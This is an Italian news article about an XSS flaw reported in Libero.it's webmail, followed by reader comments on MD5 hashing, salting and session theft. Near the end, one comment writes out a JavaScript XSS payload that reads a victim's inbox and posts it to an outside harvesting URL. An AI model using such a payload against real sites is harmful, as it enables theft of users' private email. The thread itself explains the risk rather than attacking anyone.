Libero.it, nessuna pericolosa vulnerabilità

L'azienda esamina il bug report pubblicato su SecurityFocus ma spiega a Punto Informatico che in nessun modo gli account degli utenti sono a rischio

Roma - Dopo la pubblicazione sulla lista BugTraq di SecurityFocus del resoconto di una vulnerabilità XSS a carico di Libero.it si è sparsa tra gli utenti una certa inquietudine.

Nel documento trasmesso dal bug hunter Rosario Valotta, infatti, si spiega come la funzionalità messa a disposizione degli utenti per aggiungere nomi nella propria buddy list "consente l'inserimento di codice malevolo nella URL, così che un aggressore può sottrarre nome utente e password della vittima che accede sfruttando il proprio cookie". Questo exploit, spiega l'esperto, consente di accedere ad un nome utente in chiaro e ad una password cifrata con l'algoritmo MD5 che, composta normalmente da 5 o 6 caratteri, sarebbe decifrabile sfruttando il metodo md5-rainbowtables.

Punto Informatico ha sottoposto il problema a Libero.it i cui tecnici hanno spiegato, però, che se il procedimento descritto da Valotta è effettivamente utilizzabile per individuare il nome utente, altrettanto non vale per quanto riguarda la password (che dà accesso ai servizi di community e alla web email).
"Non è vero - spiega Libero a PI - che la stringa codificata in MD5 contenga la password. Se anche la stringa venisse decodificata, non si otterrebbe la password, né altri strumenti utili per accedere in qualsiasi modo agli account". Il che non deve sorprendere: la password può essere infatti ritoccata con strumenti ad hoc prima della cifratura vera e propria, rendendo quindi inutilizzabile l'eventuale dato decifrato. Per ricostruire dall'informazione decodificata la password vera e propria, spiega Libero, occorrerebbe avvalersi di strumenti proprietari predisposti dal portale e disponibili esclusivamente per i propri tecnici.

"Nel cookie - sottolinea Libero - c'è solo una mistura di dati che serve a noi per offrire il servizio", e nessun'altra informazione utile.

Libero ha anche sottolineato di ritenere utile e preziosa l'informazione offerta dai bug hunter e sembra intenzionata a rispondere allo stesso Valotta direttamente su BugTraq.
27 Commenti alla Notizia Libero.it, nessuna pericolosa vulnerabilità
Ordina
  • tanto ormai è stato sistemato, si può divulgare. Bastava inviare un messaggio con allegato un file php per zampettare allegramente sui loro server della webmail e tirare fuori, tra le altre cose, un po' di dati degli altri utenti con un ldapsearch...
    non+autenticato
  • io vorrei sapere cosa studiano questi sedicenti bug hunter...
    me lo chiedo proprio!

    questa frase:

    "Questo exploit, spiega l'esperto, consente di accedere ad un nome utente in chiaro e ad una password cifrata con l'algoritmo MD5 che, composta normalmente da 5 o 6 caratteri, sarebbe decifrabile sfruttando il metodo md5-rainbowtables."
    è l'emblema della non conoscenza!

    allora partiamo dall'inizio.

    MD5 è un algoritmo di hash, il che vuol dire che non è reversibile.
    ma non perché lo dico io o perché si manchi di conoscenze matematiche, ma perchè è propio così.

    per fare un esempio mettiamo che il nostro "algoritmo" sia una banale somma.
    orbene, se noi abbiamo come hash il valore "15" è impossibile risalire a cosa l'abbia originato,
    perchè
    15= 5+10
    ma anche le "formule" 8+7, 14+1, 15+0 e così via danno quel risultato;
    si chiama funzione a senso unico proprio per questo, cioè non è possibile risalire a cosa ha originato l'hash.
    quindi NON E' DECIFRABILE da nessuno, nemmeno l'autore può farlo.
    però è possibile trovare un altra "formula" che dia quell'hash come 5x3, sempre seguendo l'esempio.
    in questo caso si parla di collisioni,
    cioè due testi che danno lo stesso cecksum MD5
    http://it.wikipedia.org/wiki/MD5

    ora, vien da se che se io inizio a collezzionare un sacco di hash di password diverse dopo un pò mi ricapiterà un furbone che ne usa una che conosco già...e questo è il senso degli Rainbow table, che non sono altro che immensi database contenenti un sacco di hash,
    è ovvio che se io inserisco
    b4dd7f0b0ca6c25dd46cc096e45158eb
    mi viene fuori "Cantami o diva del pelide Achille l'ira funesta" perchè sicuramente è già stato inserito.
    ma da qui a dire che è decifrabile ce ne occorre anni luce di strada!

    nel problema di libero, è evidente che i programmatori hanno fatto l'errore (parecchio banale) di salvare solo l'hash della password.
    questo problema si risove con una facilità estrema, tant'è vero che in pratica tutti i manuali dove spiegano l'equivalente funzione MD5() dicono sempre di salvare
    hkey=md5(password+md5(password)) così è praticamente impossibile usare le rainbow table.

    personalmente preferisco anche usare il (vecchio) sistema dei token, in pratica al login il server spara un valore casuale, e la pagina dell'utente fa

    hkey=md5(password+token+md5(password+token))

    cosìche anche se ci fosse un simpaticone che sniffa il traffico anche se si salvasse hkey per tentare di usarlo la prossima volta sarebbe inutile poichè il server richiederà un'hkey generata con un altro token...

    cmq, queste è l'1 2 3 della gestione delle password, io ora mi chiede se a libero.it sono degli sciocchi o cosa...
    però questa frase:

    "Per ricostruire dall'informazione decodificata la password vera e propria, spiega Libero, occorrerebbe avvalersi di strumenti proprietari predisposti dal portale e disponibili esclusivamente per i propri tecnici."

    visto quanto detto sopra, significa solo una cosa: libero memorizza le password anche in chiaro.
    ...e allora casca il palco...

    ciao
    =NiL=
    Fan Amiga

    PS: PI curate meglio le notizie, perdiana! spiegatele queste cose!
    non+autenticato

  • - Scritto da:

    > questo problema si risove con una facilità
    > estrema, tant'è vero che in pratica tutti i
    > manuali dove spiegano l'equivalente funzione
    > MD5() dicono sempre di
    > salvare
    > hkey=md5(password+md5(password)) così è
    > praticamente impossibile usare le rainbow
    > table

    Usando md5(password+md5(password)) usare le rainbow tables e' facile esattamente quanto usarle per md5(password):

    md5(pippo) = 0c88028bf3aa6a6a143ed846f2be1ea4
    md5(pippo0c88028bf3aa6a6a143ed846f2be1ea4) = 4e4839c3436cc7c7b1081f25fe25da50

    In altre parole, se sai che il sito usa quel tipo di hash: md5 di (password concatenata con l'hash della password) puoi crearti una lista di md5(parola comune + hash stessa parola) e tentare di trovare le corrispondenze in parallelo, esattamente come faresti con un hash semplice.

    Quello che serve per rendere decente il metodo per salvare le password hashate con md5 e' includere un SALT random o pseudo-random, in modo che le corrispondenze tra le password debbano essere tentate una ad una. Ad esempio se un utente salva come password pippo, il sistema crea nel DB la password come hash di pippo + salt

    md5("pippo"+"$#*f") = 970496e5b70c2dc7eacf302e8ea6ead2

    Se l'utente successivo sceglie pippo, il salt creato sara' diverso e cosi' l'md5:

    md5("pippo"+"sd23") = 6aec4d04dc5de6eaff12c714cfd9c876

    La differenza e' immane: per un db di 1000 utenti, il processo di tentare le password diventa 1000 volte piu' lento (in realta', ancora di piu' perche' il db degli hash sarebbe 1000 volte piu' grande e quindi oltre a dover essere letto 1000 volte tanto, risulterebbe piu' lento per le dimensioni): salvando l'md5 semplice, il confronto tra pippo e la tabella degli hash troverebbe in un solo tentativo tutti gli utenti conosciuti che hanno password pippo, con il salt bisognerebbe tentare su tutta la tabella degli hash con ogni salt.
    non+autenticato

  • - Scritto da:
    >
    > - Scritto da:
    >
    > > questo problema si risove con una facilità
    > > estrema, tant'è vero che in pratica tutti i
    > > manuali dove spiegano l'equivalente funzione
    > > MD5() dicono sempre di
    > > salvare
    > > hkey=md5(password+md5(password)) così è
    > > praticamente impossibile usare le rainbow
    > > table
    >
    > Usando md5(password+md5(password)) usare le
    > rainbow tables e' facile esattamente quanto
    > usarle per
    > md5(password):
    >
    > md5(pippo) = 0c88028bf3aa6a6a143ed846f2be1ea4
    > md5(pippo0c88028bf3aa6a6a143ed846f2be1ea4) =
    > 4e4839c3436cc7c7b1081f25fe25da50
    >
    > In altre parole, se sai che il sito usa quel tipo
    > di hash: md5 di (password concatenata con l'hash
    > della password) puoi crearti una lista di
    > md5(parola comune + hash stessa parola) e tentare
    > di trovare le corrispondenze in parallelo,
    > esattamente come faresti con un hash
    > semplice.
    >
    > Quello che serve per rendere decente il metodo
    > per salvare le password hashate con md5 e'
    > includere un SALT random o pseudo-random, in modo
    > che le corrispondenze tra le password debbano
    > essere tentate una ad una. Ad esempio se un
    > utente salva come password pippo, il sistema crea
    > nel DB la password come hash di pippo +
    > salt
    >
    > md5("pippo"+"$#*f") =
    > 970496e5b70c2dc7eacf302e8ea6ead2
    >
    > Se l'utente successivo sceglie pippo, il salt
    > creato sara' diverso e cosi'
    > l'md5:
    >
    > md5("pippo"+"sd23") =
    > 6aec4d04dc5de6eaff12c714cfd9c876
    >
    > La differenza e' immane: per un db di 1000
    > utenti, il processo di tentare le password
    > diventa 1000 volte piu' lento (in realta', ancora
    > di piu' perche' il db degli hash sarebbe 1000
    > volte piu' grande e quindi oltre a dover essere
    > letto 1000 volte tanto, risulterebbe piu' lento
    > per le dimensioni): salvando l'md5 semplice, il
    > confronto tra pippo e la tabella degli hash
    > troverebbe in un solo tentativo tutti gli utenti
    > conosciuti che hanno password pippo, con il salt
    > bisognerebbe tentare su tutta la tabella degli
    > hash con ogni
    > salt.

    Ottima osservazione. Prima di fare i saputelli ed aprire certi thread è meglio conoscere ciò di cui si scrive, altrimenti si rischiano solo figuracceSorride
    non+autenticato
  • > Ottima osservazione. Prima di fare i saputelli ed
    > aprire certi thread è meglio conoscere ciò di cui
    > si scrive, altrimenti si rischiano solo figuracce
    >Sorride

    e se invece di sparare sentenze sul prossimo aggiungevi pure tu qualcosa alla discussione?
    troppo difficile?
    meglio postare la prima cosa che passa per la mente così, tanto per fare?

    belli sti forum! proprio utili...

    Triste

    =NiL=
    Fan Amiga
    non+autenticato
  • > Usando md5(password+md5(password)) usare le
    > rainbow tables e' facile esattamente quanto
    > usarle per
    > md5(password):
    >
    > md5(pippo) = 0c88028bf3aa6a6a143ed846f2be1ea4
    > md5(pippo0c88028bf3aa6a6a143ed846f2be1ea4) =
    > 4e4839c3436cc7c7b1081f25fe25da50
    >
    > In altre parole, se sai che il sito usa quel tipo
    > di hash: md5 di (password concatenata con l'hash
    > della password) puoi crearti una lista di
    > md5(parola comune + hash stessa parola) e tentare
    > di trovare le corrispondenze in parallelo,
    > esattamente come faresti con un hash
    > semplice.

    vero vero, però anche in questo caso diventa mooolto più lungo (in pratica le rainbow table...te le fai tu!)...

    > Quello che serve per rendere decente il metodo
    > per salvare le password hashate con md5 e'
    > includere un SALT random o pseudo-random, in modo
    > che le corrispondenze tra le password debbano
    > essere tentate una ad una. Ad esempio se un
    > utente salva come password pippo, il sistema crea
    > nel DB la password come hash di pippo +
    > salt
    >
    > md5("pippo"+"$#*f") =
    > 970496e5b70c2dc7eacf302e8ea6ead2
    >
    > Se l'utente successivo sceglie pippo, il salt
    > creato sara' diverso e cosi'
    > l'md5:
    >
    > md5("pippo"+"sd23") =
    > 6aec4d04dc5de6eaff12c714cfd9c876
    >
    > La differenza e' immane: per un db di 1000
    > utenti, il processo di tentare le password
    > diventa 1000 volte piu' lento (in realta', ancora
    > di piu' perche' il db degli hash sarebbe 1000
    > volte piu' grande e quindi oltre a dover essere
    > letto 1000 volte tanto, risulterebbe piu' lento
    > per le dimensioni): salvando l'md5 semplice, il
    > confronto tra pippo e la tabella degli hash
    > troverebbe in un solo tentativo tutti gli utenti
    > conosciuti che hanno password pippo, con il salt
    > bisognerebbe tentare su tutta la tabella degli
    > hash con ogni
    > salt.

    vero.
    però io non volevo aggiungere il discorso del salt (perchè presente nell'articolo), ma hai fatto bene a ricordarlo...

    diciamo che md5 è pure valido come sistema, ma solo se usato con un pò di testa (non nel caso di libero, pare)

    per la precisione un md5(pass+token+salt+md5(token+pass+salt)) o combinazioni più complesse diventa molto difficile da "rainboware"...
    a quel punto tanto vale accedere tramite altri "metodi" Occhiolino


    Sorride
    ciao
    =NiL=
    Fan Amiga
    non+autenticato


  • Ancora una volta un messaggio appare su lastknight.com e stranamente il giorno dopo su Punto informatico.

    ok, ok, potrebbe essere legittomo, ma attualmente mi sono messo a controllare e gli ultimi 10 articoli di LK.com sono finiti su PI alla velocità della luce, alcuni anche accusati di plagio.

    Non so, non mi torna qualcosa.


    Fede.
    non+autenticato
  • Oltretutto...

    Su FullDisclosure la mail è passata Venerdì.
    Su lastknight.com ieri.
    E Zio Budda ha ripreso il link.

    E stranamente oggi pubblicato.

    Che caso, vero?
    non+autenticato

  • - Scritto da:
    >
    >
    > Ancora una volta un messaggio appare su
    > lastknight.com e stranamente il giorno dopo su
    > Punto
    > informatico.
    >
    > ok, ok, potrebbe essere legittomo, ma attualmente
    > mi sono messo a controllare e gli ultimi 10
    > articoli di LK.com sono finiti su PI alla
    > velocità della luce, alcuni anche accusati di
    > plagio.
    >
    > Non so, non mi torna qualcosa.
    >
    >
    > Fede.

    Che strano, anche Repubblica.it e Corriere.it riportano le stesse notizie.

    Un mondo veramente bizzarro!
    non+autenticato

  • Ciao
    siamo direttamente in contatto con Vallotta che per primo ci ha segnalato il problema.
    Non mi pare che su PI manchino link o giuste attribuzioni di fonte, quando sono giustificate (tra l'altro nell'articolo si linka BugTraq, pur avendo avuto noi in anteprima quell'advisory, e questo proprio per facilitare documentazione e approfondimento).

    Cosi', giusto per areareOcchiolino
    ciao
    Lamb
    754
  • Se ottengo il tuo cookie di autenticazione, accedo al tuo account come se fossi te fino a che dura la sessione senza bisogno di alcuna password.

    La falla c'era, l'errore di programmazione è idiota e i responsabili dovrebbero chiederne scusa agli utenti.

    Le vulnerabilità XSS ( http://en.wikipedia.org/wiki/XSS ) come questa sono interamente responsabilità di coloro che sviluppano il sito web e devono essere eliminate da loro. Tradizionalmente si è detto che l'utente può farci poco o niente, ma adesso esiste
    una forma di protezione per gli utenti (shameless plug):
    http://noscript.net/getit#devel
  • Concordo, per di più il fatto di sapere acnhe solo l'username può essere pericoloso: pensa ad un phishing fatto conoscendo l'username dell'utente quanto sarebbe credibile...
    non+autenticato

  • > A parte uno scetticismo di fondo che non sono riuscito a curarmi (il bug è stato risolto e non posso controllare le mie supposizioni), e cioè che bastasse giocare poco poco con una password conosciuta per ritrovare il corretto hash, non credo che i signori di Libero abbiano compreso a fondo il problema.
    >
    > Mi piacerebbe conoscere l’opinione dei signori su un attacco di Session Riding che il cookie recuperato poteva comportare…
    >
    > Ma come al solito i giovani italioti faranno finta di niente e i giornali manderanno messaggi rassicuranti dettati dai padroni di Libero e Wind.
    > Ah, beata Italia che non si preoccupa di alcun problema legato agli XSS… E’ quasi ora di fare un giro sul portale Libero.it e guardarsi in giro…

    Mi sembra di capire che non sei l'unico a pensarla così...

    http://www.lastknight.com/2007/03/28/ancora-su-lib.../
    non+autenticato
  • - Scritto da: Giorgio Maone
    > Se ottengo il tuo cookie di autenticazione,
    > accedo al tuo account come se fossi te fino a che
    > dura la sessione senza bisogno di alcuna
    > password
    .


    non se al cookie è associato (server side) il tuo IP.
    tu che rubi il cookie hai un IP diverso, e viene invalidato.
    non+autenticato
  • - Scritto da:
    > - Scritto da: Giorgio Maone
    > > Se ottengo il tuo cookie di autenticazione,
    > > accedo al tuo account come se fossi te fino a
    > che
    > > dura la sessione senza bisogno di alcuna
    > > password
    .
    >
    >
    > non se al cookie è associato (server side) il tuo
    > IP.
    > tu che rubi il cookie hai un IP diverso, e viene
    > invalidato.

    Se pure il sito vulnerabile adottasse questa politica, un attaccante determinato che sa cosa sta cercando può tranquillamente iniettare tramite il buco XSS codice JavaScript che navighi fino alle informazioni da catturare (ad esempio la rubrica o gli ultimi 20 messaggi della posta in arrivo) e le invii ad un server remoto, il tutto sfruttando il browser e l'IP della vittima, senza lasciare traccia sul server.

    Non è teoria, è già successo a provider molto grossiOcchiolino

  • - Scritto da: Giorgio Maone

    > Se pure il sito vulnerabile adottasse questa
    > politica, un attaccante determinato che sa cosa
    > sta cercando può tranquillamente iniettare
    > tramite il buco XSS codice JavaScript che navighi
    > fino alle informazioni da catturare (ad esempio
    > la rubrica o gli ultimi 20 messaggi della posta
    > in arrivo)

    EH? Guarda che per fare questo la rubrica e la posta in arrivo devono essere anch'esse vulnerabili all'XSS.

    > e le invii ad un server remoto, il
    > tutto sfruttando il browser e l'IP della
    > vittima
    , senza lasciare traccia sul server

    Sfruttando l'IP della vittima? Rotola dal ridere L'unico metodo possibile e' che l'attaccante e la vittima abbiano lo stesso IP su Internet. Ma hai idea di cosa sia un session-riding attack o parli tanto per dare fiato alla bocca?

    > Non è teoria, è già successo a provider
    > molto grossi

    Esempi, prego. Voglio propdio vedere. E bada, non di Cross Site scripting (ce ne sono a migliaia), ma di Cross Site Scripting in cui l'attacker riesca a rubare la sessione nonostante (A) abbia un IP diverso e (B) nonostante nonostante l'IP controllato server-side faccia parte della stringa di autenticazione della sessione.
    non+autenticato
  • - Scritto da:
    >
    > - Scritto da: Giorgio Maone
    >
    > > Se pure il sito vulnerabile adottasse questa
    > > politica, un attaccante determinato che sa cosa
    > > sta cercando può tranquillamente iniettare
    > > tramite il buco XSS codice JavaScript che
    > navighi
    > > fino alle informazioni da catturare (ad esempio
    > > la rubrica o gli ultimi 20 messaggi della posta
    > > in arrivo)
    >
    > EH? Guarda che per fare questo la rubrica e la
    > posta in arrivo devono essere anch'esse
    > vulnerabili
    > all'XSS.
    >
    > > e le invii ad un server remoto, il
    > > tutto sfruttando il browser e l'IP della
    > > vittima
    , senza lasciare traccia sul server
    >
    > Sfruttando l'IP della vittima? Rotola dal ridere L'unico
    > metodo possibile e' che l'attaccante e la vittima
    > abbiano lo stesso IP su Internet. Ma hai idea di
    > cosa sia un session-riding attack o parli tanto
    > per dare fiato alla
    > bocca?
    >
    > > Non è teoria, è già successo a provider
    > > molto grossi
    >
    > Esempi, prego. Voglio propdio vedere. E bada, non
    > di Cross Site scripting (ce ne sono a migliaia),
    > ma di Cross Site Scripting in cui l'attacker
    > riesca a rubare la sessione nonostante (A) abbia
    > un IP diverso e (B) nonostante nonostante l'IP
    > controllato server-side faccia parte della
    > stringa di autenticazione della
    > sessione.

    OK, pensavo che tu fingessi di non capire, invece...

    Non c'è bisogno di fare un esempio particolare, tutti gli XSS possono funzionare così.
    Se io riesco ad eseguire JavaScript nel contesto del dominio "vittima" (es. fighissimail.it), le restrizioni sui contenuti che normalmente impedirebbero a uno script di leggere dati da un dominio diverso ovviamente non si applicano, e lo script è eseguito dal browser della vittima usando il suo IP. Sapendo dove guardare (es. l'URL della rubrica o della prima pagina di posta in arrivo), anzichè il banale alert('XSS') che vedi in tutti gli esempi per newbies, potrei iniettare qualcosa del tipo:

    var x = new XMLHttpRequest();
    x.open("GET", "hxxp://fighissimail.it/inbox");
    x.send(null);
    var f = document.body.appendChild(document.createElement("form"));
    var i = f.appendChild(document.createElement("input"));
    i.type = "hidden";
    i.name = "inbox_source";
    i.value = x.responseText;
    var i = f.appendChild(document.createElement("input"));
    i.type = "hidden";
    i.name = "return_url";
    i.value = document.documentURL;
    f.method = "POST";
    f.action = "hxxp://noscript.net/mail_harvest.cgi";
    f.submit();

    L'ho tenuto sul semplice, sperando che anche tu ci arrivi.

    A proposito, quando insulti qualcuno, trova il coraggio di mettere il tuo nome sotto le corbellerie che scrivi Indiavolato
CONTINUA A LEGGERE I COMMENTI
Successiva
(pagina 1/2 - 8 discussioni)